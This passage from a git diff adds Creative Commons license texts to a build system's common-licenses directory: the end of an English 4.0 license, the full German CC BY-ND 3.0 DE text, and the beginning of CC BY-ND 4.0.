+ 4. Media and formats; technical modifications allowed. The Licensor authorizes You to exercise the Licensed Rights in all media and formats whether now known or hereafter created, and to make technical modifications necessary to do so. The Licensor waives and/or agrees not to assert any right or authority to forbid You from making technical modifications necessary to exercise the Licensed Rights, including technical modifications necessary to circumvent Effective Technological Measures. For purposes of this Public License, simply making modifications authorized by this Section 2(a)(4) never produces Adapted Material.
+
+ 5. Downstream recipients.
+
+ A. Offer from the Licensor – Licensed Material. Every recipient of the Licensed Material automatically receives an offer from the Licensor to exercise the Licensed Rights under the terms and conditions of this Public License.
+
+ B. Additional offer from the Licensor – Adapted Material. Every recipient of Adapted Material from You automatically receives an offer from the Licensor to exercise the Licensed Rights in the Adapted Material under the conditions of the Adapter’s License You apply.
+
+ C. No downstream restrictions. You may not offer or impose any additional or different terms or conditions on, or apply any Effective Technological Measures to, the Licensed Material if doing so restricts exercise of the Licensed Rights by any recipient of the Licensed Material.
+
+ 6. No endorsement. Nothing in this Public License constitutes or may be construed as permission to assert or imply that You are, or that Your use of the Licensed Material is, connected with, or sponsored, endorsed, or granted official status by, the Licensor or others designated to receive attribution as provided in Section 3(a)(1)(A)(i).
+
+ b. Other rights.
+
+ 1. Moral rights, such as the right of integrity, are not licensed under this Public License, nor are publicity, privacy, and/or other similar personality rights; however, to the extent possible, the Licensor waives and/or agrees not to assert any such rights held by the Licensor to the limited extent necessary to allow You to exercise the Licensed Rights, but not otherwise.
+
+ 2. Patent and trademark rights are not licensed under this Public License.
+
+ 3. To the extent possible, the Licensor waives any right to collect royalties from You for the exercise of the Licensed Rights, whether directly or through a collecting society under any voluntary or waivable statutory or compulsory licensing scheme. In all other cases the Licensor expressly reserves any right to collect such royalties, including when the Licensed Material is used other than for NonCommercial purposes.
+
+Section 3 – License Conditions.
+
+Your exercise of the Licensed Rights is expressly made subject to the following conditions.
+
+ a. Attribution.
+
+ 1. If You Share the Licensed Material (including in modified form), You must:
+
+ A. retain the following if it is supplied by the Licensor with the Licensed Material:
+
+ i. identification of the creator(s) of the Licensed Material and any others designated to receive attribution, in any reasonable manner requested by the Licensor (including by pseudonym if designated);
+
+ ii. a copyright notice;
+
+ iii. a notice that refers to this Public License;
+
+ iv. a notice that refers to the disclaimer of warranties;
+
+ v. a URI or hyperlink to the Licensed Material to the extent reasonably practicable;
+
+ B. indicate if You modified the Licensed Material and retain an indication of any previous modifications; and
+
+ C. indicate the Licensed Material is licensed under this Public License, and include the text of, or the URI or hyperlink to, this Public License.
+
+ 2. You may satisfy the conditions in Section 3(a)(1) in any reasonable manner based on the medium, means, and context in which You Share the Licensed Material. For example, it may be reasonable to satisfy the conditions by providing a URI or hyperlink to a resource that includes the required information.
+
+ 3. If requested by the Licensor, You must remove any of the information required by Section 3(a)(1)(A) to the extent reasonably practicable.
+
+ b. ShareAlike.In addition to the conditions in Section 3(a), if You Share Adapted Material You produce, the following conditions also apply.
+
+ 1. The Adapter’s License You apply must be a Creative Commons license with the same License Elements, this version or later, or a BY-NC-SA Compatible License.
+
+ 2. You must include the text of, or the URI or hyperlink to, the Adapter's License You apply. You may satisfy this condition in any reasonable manner based on the medium, means, and context in which You Share Adapted Material.
+
+ 3. You may not offer or impose any additional or different terms or conditions on, or apply any Effective Technological Measures to, Adapted Material that restrict exercise of the rights granted under the Adapter's License You apply.
+
+Section 4 – Sui Generis Database Rights.
+
+Where the Licensed Rights include Sui Generis Database Rights that apply to Your use of the Licensed Material:
+
+ a. for the avoidance of doubt, Section 2(a)(1) grants You the right to extract, reuse, reproduce, and Share all or a substantial portion of the contents of the database for NonCommercial purposes only;
+
+ b. if You include all or a substantial portion of the database contents in a database in which You have Sui Generis Database Rights, then the database in which You have Sui Generis Database Rights (but not its individual contents) is Adapted Material, including for purposes of Section 3(b); and
+
+ c. You must comply with the conditions in Section 3(a) if You Share all or a substantial portion of the contents of the database.
+For the avoidance of doubt, this Section 4 supplements and does not replace Your obligations under this Public License where the Licensed Rights include other Copyright and Similar Rights.
+
+Section 5 – Disclaimer of Warranties and Limitation of Liability.
+
+ a. Unless otherwise separately undertaken by the Licensor, to the extent possible, the Licensor offers the Licensed Material as-is and as-available, and makes no representations or warranties of any kind concerning the Licensed Material, whether express, implied, statutory, or other. This includes, without limitation, warranties of title, merchantability, fitness for a particular purpose, non-infringement, absence of latent or other defects, accuracy, or the presence or absence of errors, whether or not known or discoverable. Where disclaimers of warranties are not allowed in full or in part, this disclaimer may not apply to You.
+
+ b. To the extent possible, in no event will the Licensor be liable to You on any legal theory (including, without limitation, negligence) or otherwise for any direct, special, indirect, incidental, consequential, punitive, exemplary, or other losses, costs, expenses, or damages arising out of this Public License or use of the Licensed Material, even if the Licensor has been advised of the possibility of such losses, costs, expenses, or damages. Where a limitation of liability is not allowed in full or in part, this limitation may not apply to You.
+
+ c. The disclaimer of warranties and limitation of liability provided above shall be interpreted in a manner that, to the extent possible, most closely approximates an absolute disclaimer and waiver of all liability.
+
+Section 6 – Term and Termination.
+
+ a. This Public License applies for the term of the Copyright and Similar Rights licensed here. However, if You fail to comply with this Public License, then Your rights under this Public License terminate automatically.
+
+ b. Where Your right to use the Licensed Material has terminated under Section 6(a), it reinstates:
+
+ 1. automatically as of the date the violation is cured, provided it is cured within 30 days of Your discovery of the violation; or
+
+ 2. upon express reinstatement by the Licensor.
+
+ For the avoidance of doubt, this Section 6(b) does not affect any right the Licensor may have to seek remedies for Your violations of this Public License.
+
+ c. For the avoidance of doubt, the Licensor may also offer the Licensed Material under separate terms or conditions or stop distributing the Licensed Material at any time; however, doing so will not terminate this Public License.
+
+ d. Sections 1, 5, 6, 7, and 8 survive termination of this Public License.
+
+Section 7 – Other Terms and Conditions.
+
+ a. The Licensor shall not be bound by any additional or different terms or conditions communicated by You unless expressly agreed.
+
+ b. Any arrangements, understandings, or agreements regarding the Licensed Material not stated herein are separate from and independent of the terms and conditions of this Public License.
+
+Section 8 – Interpretation.
+
+ a. For the avoidance of doubt, this Public License does not, and shall not be interpreted to, reduce, limit, restrict, or impose conditions on any use of the Licensed Material that could lawfully be made without permission under this Public License.
+
+ b. To the extent possible, if any provision of this Public License is deemed unenforceable, it shall be automatically reformed to the minimum extent necessary to make it enforceable. If the provision cannot be reformed, it shall be severed from this Public License without affecting the enforceability of the remaining terms and conditions.
+
+ c. No term or condition of this Public License will be waived and no failure to comply consented to unless expressly agreed to by the Licensor.
+
+ d. Nothing in this Public License constitutes or may be interpreted as a limitation upon, or waiver of, any privileges and immunities that apply to the Licensor or You, including from the legal processes of any jurisdiction or authority.
+
+Creative Commons is not a party to its public licenses. Notwithstanding, Creative Commons may elect to apply one of its public licenses to material it publishes and in those instances will be considered the “Licensor.” Except for the limited purpose of indicating that material is shared under a Creative Commons public license or as otherwise permitted by the Creative Commons policies published at creativecommons.org/policies, Creative Commons does not authorize the use of the trademark “Creative Commons” or any other trademark or logo of Creative Commons without its prior written consent including, without limitation, in connection with any unauthorized modifications to any of its public licenses or any other arrangements, understandings, or agreements concerning use of licensed material. For the avoidance of doubt, this paragraph does not form part of the public licenses.
+
+Creative Commons may be contacted at creativecommons.org.
diff --git a/meta/files/common-licenses/CC-BY-ND-3.0-DE b/meta/files/common-licenses/CC-BY-ND-3.0-DE
new file mode 100644
index 0000000000..c89d927981
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-ND-3.0-DE
@@ -0,0 +1,101 @@
+Creative Commons Namensnennung - Keine Bearbeitungen 3.0 Deutschland
+
+ CREATIVE COMMONS IST KEINE RECHTSANWALTSKANZLEI UND LEISTET KEINE RECHTSBERATUNG. DIE BEREITSTELLUNG DIESER LIZENZ FÜHRT ZU KEINEM MANDATSVERHÄLTNIS. CREATIVE COMMONS STELLT DIESE INFORMATIONEN OHNE GEWÄHR ZUR VERFÜGUNG. CREATIVE COMMONS ÜBERNIMMT KEINE GEWÄHRLEISTUNG FÜR DIE GELIEFERTEN INFORMATIONEN UND SCHLIEßT DIE HAFTUNG FÜR SCHÄDEN AUS, DIE SICH AUS DEREN GEBRAUCH ERGEBEN.
+
+Lizenz
+
+DER GEGENSTAND DIESER LIZENZ (WIE UNTER "SCHUTZGEGENSTAND" DEFINIERT) WIRD UNTER DEN BEDINGUNGEN DIESER CREATIVE COMMONS PUBLIC LICENSE ("CCPL", "LIZENZ" ODER "LIZENZVERTRAG") ZUR VERFÜGUNG GESTELLT. DER SCHUTZGEGENSTAND IST DURCH DAS URHEBERRECHT UND/ODER ANDERE GESETZE GESCHÜTZT. JEDE FORM DER NUTZUNG DES SCHUTZGEGENSTANDES, DIE NICHT AUFGRUND DIESER LIZENZ ODER DURCH GESETZE GESTATTET IST, IST UNZULÄSSIG.
+
+DURCH DIE AUSÜBUNG EINES DURCH DIESE LIZENZ GEWÄHRTEN RECHTS AN DEM SCHUTZGEGENSTAND ERKLÄREN SIE SICH MIT DEN LIZENZBEDINGUNGEN RECHTSVERBINDLICH EINVERSTANDEN. SOWEIT DIESE LIZENZ ALS LIZENZVERTRAG ANZUSEHEN IST, GEWÄHRT IHNEN DER LIZENZGEBER DIE IN DER LIZENZ GENANNTEN RECHTE UNENTGELTLICH UND IM AUSTAUSCH DAFÜR, DASS SIE DAS GEBUNDENSEIN AN DIE LIZENZBEDINGUNGEN AKZEPTIEREN.
+
+1. Definitionen
+
+ a. Der Begriff "Abwandlung" im Sinne dieser Lizenz bezeichnet das Ergebnis jeglicher Art von Veränderung des Schutzgegenstandes, solange die eigenpersönlichen Züge des Schutzgegenstandes darin nicht verblassen und daran eigene Schutzrechte entstehen. Das kann insbesondere eine Bearbeitung, Umgestaltung, Änderung, Anpassung, Übersetzung oder Heranziehung des Schutzgegenstandes zur Vertonung von Laufbildern sein. Nicht als Abwandlung des Schutzgegenstandes gelten seine Aufnahme in eine Sammlung oder ein Sammelwerk und die freie Benutzung des Schutzgegenstandes.
+
+ b. Der Begriff "Sammelwerk" im Sinne dieser Lizenz meint eine Zusammenstellung von literarischen, künstlerischen oder wissenschaftlichen Inhalten, sofern diese Zusammenstellung aufgrund von Auswahl und Anordnung der darin enthaltenen selbständigen Elemente eine geistige Schöpfung darstellt, unabhängig davon, ob die Elemente systematisch oder methodisch angelegt und dadurch einzeln zugänglich sind oder nicht.
+
+ c. "Verbreiten" im Sinne dieser Lizenz bedeutet, den Schutzgegenstand im Original oder in Form von Vervielfältigungsstücken, mithin in körperlich fixierter Form der Öffentlichkeit anzubieten oder in Verkehr zu bringen.
+
+ d. Der "Lizenzgeber" im Sinne dieser Lizenz ist diejenige natürliche oder juristische Person oder Gruppe, die den Schutzgegenstand unter den Bedingungen dieser Lizenz anbietet und insoweit als Rechteinhaberin auftritt.
+
+ e. "Rechteinhaber" im Sinne dieser Lizenz ist der Urheber des Schutzgegenstandes oder jede andere natürliche oder juristische Person oder Gruppe von Personen, die am Schutzgegenstand ein Immaterialgüterrecht erlangt hat, welches die in Abschnitt 3 genannten Handlungen erfasst und bei dem eine Einräumung von Nutzungsrechten oder eine Weiterübertragung an Dritte möglich ist.
+
+ f. Der Begriff "Schutzgegenstand" bezeichnet in dieser Lizenz den literarischen, künstlerischen oder wissenschaftlichen Inhalt, der unter den Bedingungen dieser Lizenz angeboten wird. Das kann insbesondere eine persönliche geistige Schöpfung jeglicher Art, ein Werk der kleinen Münze, ein nachgelassenes Werk oder auch ein Lichtbild oder anderes Objekt eines verwandten Schutzrechts sein, unabhängig von der Art seiner Fixierung und unabhängig davon, auf welche Weise jeweils eine Wahrnehmung erfolgen kann, gleichviel ob in analoger oder digitaler Form. Soweit Datenbanken oder Zusammenstellungen von Daten einen immaterialgüterrechtlichen Schutz eigener Art genießen, unterfallen auch sie dem Begriff "Schutzgegenstand" im Sinne dieser Lizenz.
+
+ g. Mit "Sie" bzw. "Ihnen" ist die natürliche oder juristische Person gemeint, die in dieser Lizenz im Abschnitt 3 genannte Nutzungen des Schutzgegenstandes vornimmt und zuvor in Hinblick auf den Schutzgegenstand nicht gegen Bedingungen dieser Lizenz verstoßen oder aber die ausdrückliche Erlaubnis des Lizenzgebers erhalten hat, die durch diese Lizenz gewährten Nutzungsrechte trotz eines vorherigen Verstoßes auszuüben.
+
+ h. Unter "Öffentlich Zeigen" im Sinne dieser Lizenz sind Veröffentlichungen und Präsentationen des Schutzgegenstandes zu verstehen, die für eine Mehrzahl von Mitgliedern der Öffentlichkeit bestimmt sind und in unkörperlicher Form mittels öffentlicher Wiedergabe in Form von Vortrag, Aufführung, Vorführung, Darbietung, Sendung, Weitersendung, zeit- und ortsunabhängiger Zugänglichmachung oder in körperlicher Form mittels Ausstellung erfolgen, unabhängig von bestimmten Veranstaltungen und unabhängig von den zum Einsatz kommenden Techniken und Verfahren, einschließlich drahtgebundener oder drahtloser Mittel und Einstellen in das Internet.
+
+ i. "Vervielfältigen" im Sinne dieser Lizenz bedeutet, mittels beliebiger Verfahren Vervielfältigungsstücke des Schutzgegenstandes herzustellen, insbesondere durch Ton- oder Bildaufzeichnungen, und umfasst auch den Vorgang, erstmals körperliche Fixierungen des Schutzgegenstandes sowie Vervielfältigungsstücke dieser Fixierungen anzufertigen, sowie die Übertragung des Schutzgegenstandes auf einen Bild- oder Tonträger oder auf ein anderes elektronisches Medium, gleichviel ob in digitaler oder analoger Form.
+
+2. Schranken des Immaterialgüterrechts. Diese Lizenz ist in keiner Weise darauf gerichtet, Befugnisse zur Nutzung des Schutzgegenstandes zu vermindern, zu beschränken oder zu vereiteln, die Ihnen aufgrund der Schranken des Urheberrechts oder anderer Rechtsnormen bereits ohne Weiteres zustehen oder sich aus dem Fehlen eines immaterialgüterrechtlichen Schutzes ergeben.
+
+3. Einräumung von Nutzungsrechten. Unter den Bedingungen dieser Lizenz räumt Ihnen der Lizenzgeber - unbeschadet unverzichtbarer Rechte und vorbehaltlich des Abschnitts 3.c) - das vergütungsfreie, räumlich und zeitlich (für die Dauer des Schutzrechts am Schutzgegenstand) unbeschränkte einfache Recht ein, den Schutzgegenstand auf die folgenden Arten und Weisen zu nutzen ("unentgeltlich eingeräumtes einfaches Nutzungsrecht für jedermann"):
+
+ a. Den Schutzgegenstand in beliebiger Form und Menge zu vervielfältigen, ihn in Sammelwerke zu integrieren und ihn als Teil solcher Sammelwerke zu vervielfältigen;
+
+ b. den Schutzgegenstand, allein oder in Sammelwerke aufgenommen, öffentlich zu zeigen und zu verbreiten.
+
+ c. Bezüglich Vergütung für die Nutzung des Schutzgegenstandes gilt Folgendes:
+
+ i. Unverzichtbare gesetzliche Vergütungsansprüche: Soweit unverzichtbare Vergütungsansprüche im Gegenzug für gesetzliche Lizenzen vorgesehen oder Pauschalabgabensysteme (zum Beispiel für Leermedien) vorhanden sind, behält sich der Lizenzgeber das ausschließliche Recht vor, die entsprechende Vergütung einzuziehen für jede Ausübung eines Rechts aus dieser Lizenz durch Sie.
+
+ ii. Vergütung bei Zwangslizenzen: Sofern Zwangslizenzen außerhalb dieser Lizenz vorgesehen sind und zustande kommen, verzichtet der Lizenzgeber für alle Fälle einer lizenzgerechten Nutzung des Schutzgegenstandes durch Sie auf jegliche Vergütung.
+
+ iii. Vergütung in sonstigen Fällen: Bezüglich lizenzgerechter Nutzung des Schutzgegenstandes durch Sie, die nicht unter die beiden vorherigen Abschnitte (i) und (ii) fällt, verzichtet der Lizenzgeber auf jegliche Vergütung, unabhängig davon, ob eine Einziehung der Vergütung durch ihn selbst oder nur durch eine Verwertungsgesellschaft möglich wäre.
+
+Das vorgenannte Nutzungsrecht wird für alle bekannten sowie für alle noch nicht bekannten Nutzungsarten eingeräumt. Es beinhaltet auch das Recht, solche Änderungen am Schutzgegenstand vorzunehmen, die für bestimmte nach dieser Lizenz zulässige Nutzungen technisch erforderlich sind. Weitergehende Änderungen oder Abwandlungen sind jedoch untersagt. Alle sonstigen Rechte, die über diesen Abschnitt hinaus nicht ausdrücklich durch den Lizenzgeber eingeräumt werden, bleiben diesem allein vorbehalten. Soweit Datenbanken oder Zusammenstellungen von Daten Schutzgegenstand dieser Lizenz oder Teil dessen sind und einen immaterialgüterrechtlichen Schutz eigener Art genießen, verzichtet der Lizenzgeber auf sämtliche aus diesem Schutz resultierenden Rechte.
+
+4. Bedingungen. Die Einräumung des Nutzungsrechts gemäß Abschnitt 3 dieser Lizenz erfolgt ausdrücklich nur unter den folgenden Bedingungen:
+
+ a. Sie dürfen den Schutzgegenstand ausschließlich unter den Bedingungen dieser Lizenz verbreiten oder öffentlich zeigen. Sie müssen dabei stets eine Kopie dieser Lizenz oder deren vollständige Internetadresse in Form des Uniform-Resource-Identifier (URI) beifügen. Sie dürfen keine Vertrags- oder Nutzungsbedingungen anbieten oder fordern, die die Bedingungen dieser Lizenz oder die durch diese Lizenz gewährten Rechte beschränken. Sie dürfen den Schutzgegenstand nicht unterlizenzieren. Bei jeder Kopie des Schutzgegenstandes, die Sie verbreiten oder öffentlich zeigen, müssen Sie alle Hinweise unverändert lassen, die auf diese Lizenz und den Haftungsausschluss hinweisen. Wenn Sie den Schutzgegenstand verbreiten oder öffentlich zeigen, dürfen Sie (in Bezug auf den Schutzgegenstand) keine technischen Maßnahmen ergreifen, die den Nutzer des Schutzgegenstandes in der Ausübung der ihm durch diese Lizenz gewährten Rechte behindern können. Dieser Abschnitt 4.a) gilt auch für den Fall, dass der Schutzgegenstand einen Bestandteil eines Sammelwerkes bildet, was jedoch nicht bedeutet, dass das Sammelwerk insgesamt dieser Lizenz unterstellt werden muss. Sofern Sie ein Sammelwerk erstellen, müssen Sie auf die Mitteilung eines Lizenzgebers hin aus dem Sammelwerk die in Abschnitt 4.b) aufgezählten Hinweise entfernen.
+
+ b. Die Verbreitung und das öffentliche Zeigen des Schutzgegenstandes oder ihn enthaltender Sammelwerke ist Ihnen nur unter der Bedingung gestattet, dass Sie, vorbehaltlich etwaiger Mitteilungen im Sinne von Abschnitt 4.a), alle dazu gehörenden Rechtevermerke unberührt lassen. Sie sind verpflichtet, die Rechteinhaberschaft in einer der Nutzung entsprechenden, angemessenen Form anzuerkennen, indem Sie - soweit bekannt - Folgendes angeben:
+
+ i. Den Namen (oder das Pseudonym, falls ein solches verwendet wird) des Rechteinhabers und / oder, falls der Lizenzgeber im Rechtevermerk, in den Nutzungsbedingungen oder auf andere angemessene Weise eine Zuschreibung an Dritte vorgenommen hat (z.B. an eine Stiftung, ein Verlagshaus oder eine Zeitung) ("Zuschreibungsempfänger"), Namen bzw. Bezeichnung dieses oder dieser Dritten;
+
+ ii. den Titel des Inhaltes;
+
+ iii. in einer praktikablen Form den Uniform-Resource-Identifier (URI, z.B. Internetadresse), den der Lizenzgeber zum Schutzgegenstand angegeben hat, es sei denn, dieser URI verweist nicht auf den Rechtevermerk oder die Lizenzinformationen zum Schutzgegenstand.
+
+ Die nach diesem Abschnitt 4.b) erforderlichen Angaben können in jeder angemessenen Form gemacht werden; im Falle eines Sammelwerkes müssen diese Angaben das Minimum darstellen und bei gemeinsamer Nennung mehrerer Rechteinhaber dergestalt erfolgen, dass sie zumindest ebenso hervorgehoben sind wie die Hinweise auf die übrigen Rechteinhaber. Die Angaben nach diesem Abschnitt dürfen Sie ausschließlich zur Angabe der Rechteinhaberschaft in der oben bezeichneten Weise verwenden. Durch die Ausübung Ihrer Rechte aus dieser Lizenz dürfen Sie ohne eine vorherige, separat und schriftlich vorliegende Zustimmung des Lizenzgebers und / oder des Zuschreibungsempfängers weder explizit noch implizit irgendeine Verbindung zum Lizenzgeber oder Zuschreibungsempfänger und ebenso wenig eine Unterstützung oder Billigung durch ihn andeuten.
+
+ c. Die oben unter 4.a) und b) genannten Einschränkungen gelten nicht für solche Teile des Schutzgegenstandes, die allein deshalb unter den Schutzgegenstandsbegriff fallen, weil sie als Datenbanken oder Zusammenstellungen von Daten einen immaterialgüterrechtlichen Schutz eigener Art genießen.
+
+ d. Persönlichkeitsrechte bleiben - soweit sie bestehen - von dieser Lizenz unberührt.
+
+5. Gewährleistung
+
+SOFERN KEINE ANDERS LAUTENDE, SCHRIFTLICHE VEREINBARUNG ZWISCHEN DEM LIZENZGEBER UND IHNEN GESCHLOSSEN WURDE UND SOWEIT MÄNGEL NICHT ARGLISTIG VERSCHWIEGEN WURDEN, BIETET DER LIZENZGEBER DEN SCHUTZGEGENSTAND UND DIE EINRÄUMUNG VON RECHTEN UNTER AUSSCHLUSS JEGLICHER GEWÄHRLEISTUNG AN UND ÜBERNIMMT WEDER AUSDRÜCKLICH NOCH KONKLUDENT GARANTIEN IRGENDEINER ART. DIES UMFASST INSBESONDERE DAS FREISEIN VON SACH- UND RECHTSMÄNGELN, UNABHÄNGIG VON DEREN ERKENNBARKEIT FÜR DEN LIZENZGEBER, DIE VERKEHRSFÄHIGKEIT DES SCHUTZGEGENSTANDES, SEINE VERWENDBARKEIT FÜR EINEN BESTIMMTEN ZWECK SOWIE DIE KORREKTHEIT VON BESCHREIBUNGEN. DIESE GEWÄHRLEISTUNGSBESCHRÄNKUNG GILT NICHT, SOWEIT MÄNGEL ZU SCHÄDEN DER IN ABSCHNITT 6 BEZEICHNETEN ART FÜHREN UND AUF SEITEN DES LIZENZGEBERS DAS JEWEILS GENANNTE VERSCHULDEN BZW. VERTRETENMÜSSEN EBENFALLS VORLIEGT.
+
+6. Haftungsbeschränkung
+
+DER LIZENZGEBER HAFTET IHNEN GEGENÜBER IN BEZUG AUF SCHÄDEN AUS DER VERLETZUNG DES LEBENS, DES KÖRPERS ODER DER GESUNDHEIT NUR, SOFERN IHM WENIGSTENS FAHRLÄSSIGKEIT VORZUWERFEN IST, FÜR SONSTIGE SCHÄDEN NUR BEI GROBER FAHRLÄSSIGKEIT ODER VORSATZ, UND ÜBERNIMMT DARÜBER HINAUS KEINERLEI FREIWILLIGE HAFTUNG.
+
+7. Erlöschen
+
+ a. Diese Lizenz und die durch sie eingeräumten Nutzungsrechte erlöschen mit Wirkung für die Zukunft im Falle eines Verstoßes gegen die Lizenzbedingungen durch Sie, ohne dass es dazu der Kenntnis des Lizenzgebers vom Verstoß oder einer weiteren Handlung einer der Vertragsparteien bedarf. Mit natürlichen oder juristischen Personen, die den Schutzgegenstand enthaltende Sammelwerke unter den Bedingungen dieser Lizenz von Ihnen erhalten haben, bestehen nachträglich entstandene Lizenzbeziehungen jedoch solange weiter, wie die genannten Personen sich ihrerseits an sämtliche Lizenzbedingungen halten. Darüber hinaus gelten die Ziffern 1, 2, 5, 6, 7, und 8 auch nach einem Erlöschen dieser Lizenz fort.
+
+ b. Vorbehaltlich der oben genannten Bedingungen gilt diese Lizenz unbefristet bis der rechtliche Schutz für den Schutzgegenstand ausläuft. Davon abgesehen behält der Lizenzgeber das Recht, den Schutzgegenstand unter anderen Lizenzbedingungen anzubieten oder die eigene Weitergabe des Schutzgegenstandes jederzeit einzustellen, solange die Ausübung dieses Rechts nicht einer Kündigung oder einem Widerruf dieser Lizenz (oder irgendeiner Weiterlizenzierung, die auf Grundlage dieser Lizenz bereits erfolgt ist bzw. zukünftig noch erfolgen muss) dient und diese Lizenz unter Berücksichtigung der oben zum Erlöschen genannten Bedingungen vollumfänglich wirksam bleibt.
+
+8. Sonstige Bestimmungen
+
+ a. Jedes Mal wenn Sie den Schutzgegenstand für sich genommen oder als Teil eines Sammelwerkes verbreiten oder öffentlich zeigen, bietet der Lizenzgeber dem Empfänger eine Lizenz zu den gleichen Bedingungen und im gleichen Umfang an, wie Ihnen in Form dieser Lizenz.
+
+ b. Sollte eine Bestimmung dieser Lizenz unwirksam sein, so bleibt davon die Wirksamkeit der Lizenz im Übrigen unberührt.
+
+ c. Keine Bestimmung dieser Lizenz soll als abbedungen und kein Verstoß gegen sie als zulässig gelten, solange die von dem Verzicht oder von dem Verstoß betroffene Seite nicht schriftlich zugestimmt hat.
+
+ d. Diese Lizenz (zusammen mit in ihr ausdrücklich vorgesehenen Erlaubnissen, Mitteilungen und Zustimmungen, soweit diese tatsächlich vorliegen) stellt die vollständige Vereinbarung zwischen dem Lizenzgeber und Ihnen in Bezug auf den Schutzgegenstand dar. Es bestehen keine Abreden, Vereinbarungen oder Erklärungen in Bezug auf den Schutzgegenstand, die in dieser Lizenz nicht genannt sind. Rechtsgeschäftliche Änderungen des Verhältnisses zwischen dem Lizenzgeber und Ihnen sind nur über Modifikationen dieser Lizenz möglich. Der Lizenzgeber ist an etwaige zusätzliche, einseitig durch Sie übermittelte Bestimmungen nicht gebunden. Diese Lizenz kann nur durch schriftliche Vereinbarung zwischen Ihnen und dem Lizenzgeber modifiziert werden. Derlei Modifikationen wirken ausschließlich zwischen dem Lizenzgeber und Ihnen und wirken sich nicht auf die Dritten gemäß Ziffern 8.a) angeboteten Lizenzen aus.
+
+ e. Sofern zwischen Ihnen und dem Lizenzgeber keine anderweitige Vereinbarung getroffen wurde und soweit Wahlfreiheit besteht, findet auf diesen Lizenzvertrag das Recht der Bundesrepublik Deutschland Anwendung.
+
+
+Creative Commons Notice
+
+Creative Commons ist nicht Partei dieser Lizenz und übernimmt keinerlei Gewähr oder dergleichen in Bezug auf den Schutzgegenstand. Creative Commons haftet Ihnen oder einer anderen Partei unter keinem rechtlichen Gesichtspunkt für irgendwelche Schäden, die - abstrakt oder konkret, zufällig oder vorhersehbar - im Zusammenhang mit dieser Lizenz entstehen. Unbeschadet der vorangegangen beiden Sätze, hat Creative Commons alle Rechte und Pflichten eines Lizenzgebers, wenn es sich ausdrücklich als Lizenzgeber im Sinne dieser Lizenz bezeichnet.
+
+Creative Commons gewährt den Parteien nur insoweit das Recht, das Logo und die Marke "Creative Commons" zu nutzen, als dies notwendig ist, um der Öffentlichkeit gegenüber kenntlich zu machen, dass der Schutzgegenstand unter einer CCPL steht. Ein darüber hinaus gehender Gebrauch der Marke "Creative Commons" oder einer verwandten Marke oder eines verwandten Logos bedarf der vorherigen schriftlichen Zustimmung von Creative Commons. Jeder erlaubte Gebrauch richtet sich nach der Creative Commons Marken-Nutzungs-Richtlinie in der jeweils aktuellen Fassung, die von Zeit zu Zeit auf der Website veröffentlicht oder auf andere Weise auf Anfrage zugänglich gemacht wird. Zur Klarstellung: Die genannten Einschränkungen der Markennutzung sind nicht Bestandteil dieser Lizenz.
+
+Creative Commons kann kontaktiert werden über https://creativecommons.org/.
+
diff --git a/meta/files/common-licenses/CC-BY-ND-4.0 b/meta/files/common-licenses/CC-BY-ND-4.0
new file mode 100644
index 0000000000..09a21c7358
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-ND-4.0
@@ -0,0 +1,154 @@
+Creative Commons Attribution-NoDerivatives 4.0 International
+
+ Creative Commons Corporation (“Creative Commons”) is not a law firm and does not provide legal services or legal advice. Distribution of Creative Commons public licenses does not create a lawyer-client or other relationship. Creative Commons makes its licenses and related information available on an “as-is” basis. Creative Commons gives no warranties regarding its licenses, any material licensed under their terms and conditions, or any related information. Creative Commons disclaims all liability for damages resulting from their use to the fullest extent possible.
+
+Using Creative Commons Public Licenses
+
+Creative Commons public licenses provide a standard set of terms and conditions that creators and other rights holders may use to share original works of authorship and other material subject to copyright and certain other rights specified in the public license below. The following considerations are for informational purposes only, are not exhaustive, and do not form part of our licenses.
+
+Considerations for licensors: Our public licenses are intended for use by those authorized to give the public permission to use material in ways otherwise restricted by copyright and certain other rights. Our licenses are irrevocable. Licensors should read and understand the terms and conditions of the license they choose before applying it. Licensors should also secure all rights necessary before applying our licenses so that the public can reuse the material as expected. Licensors should clearly mark any material not subject to the license. This includes other CC-licensed material, or material used under an exception or limitation to copyright. More considerations for licensors.
+
+Considerations for the public: By using one of our public licenses, a licensor grants the public permission to use the licensed material under specified terms and conditions. If the licensor’s permission is not necessary for any reason–for example, because of any applicable exception or limitation to copyright–then that use is not regulated by the license. Our licenses grant only permissions under copyright and certain other rights that a licensor has authority to grant. Use of the licensed material may still be restricted for other reasons, including because others have copyright or other rights in the material. A licensor may make special requests, such as asking that all changes be marked or described. Although not required by our licenses, you are encouraged to respect those requests where reasonable. More considerations for the public.
+
+Creative Commons Attribution-NoDerivatives 4.0 International Public License
+
+By exercising the Licensed Rights (defined below), You accept and agree to be bound by the terms and conditions of this Creative Commons Attribution-NoDerivatives 4.0 International Public License ("Public License"). To the extent this Public License may be interpreted as a contract, You are granted the Licensed Rights in consideration of Your acceptance of these terms and conditions, and the Licensor grants You such rights in consideration of benefits the Licensor receives from making the Licensed Material available under these terms and conditions.
+
+Section 1 – Definitions.
+
+ a. Adapted Material means material subject to Copyright and Similar Rights that is derived from or based upon the Licensed Material and in which the Licensed Material is translated, altered, arranged, transformed, or otherwise modified in a manner requiring permission under the Copyright and Similar Rights held by the Licensor. For purposes of this Public License, where the Licensed Material is a musical work, performance, or sound recording, Adapted Material is always produced where the Licensed Material is synched in timed relation with a moving image.
+
+ b. Copyright and Similar Rights means copyright and/or similar rights closely related to copyright including, without limitation, performance, broadcast, sound recording, and Sui Generis Database Rights, without regard to how the rights are labeled or categorized. For purposes of this Public License, the rights specified in Section 2(b)(1)-(2) are not Copyright and Similar Rights.
+
+ c. Effective Technological Measures means those measures that, in the absence of proper authority, may not be circumvented under laws fulfilling obligations under Article 11 of the WIPO Copyright Treaty adopted on December 20, 1996, and/or similar international agreements.
+
+ d. Exceptions and Limitations means fair use, fair dealing, and/or any other exception or limitation to Copyright and Similar Rights that applies to Your use of the Licensed Material.
+
+ e. Licensed Material means the artistic or literary work, database, or other material to which the Licensor applied this Public License.
+
+ f. Licensed Rights means the rights granted to You subject to the terms and conditions of this Public License, which are limited to all Copyright and Similar Rights that apply to Your use of the Licensed Material and that the Licensor has authority to license.
+
+ g. Licensor means the individual(s) or entity(ies) granting rights under this Public License.
+
+ h. Share means to provide material to the public by any means or process that requires permission under the Licensed Rights, such as reproduction, public display, public performance, distribution, dissemination, communication, or importation, and to make material available to the public including in ways that members of the public may access the material from a place and at a time individually chosen by them.
+
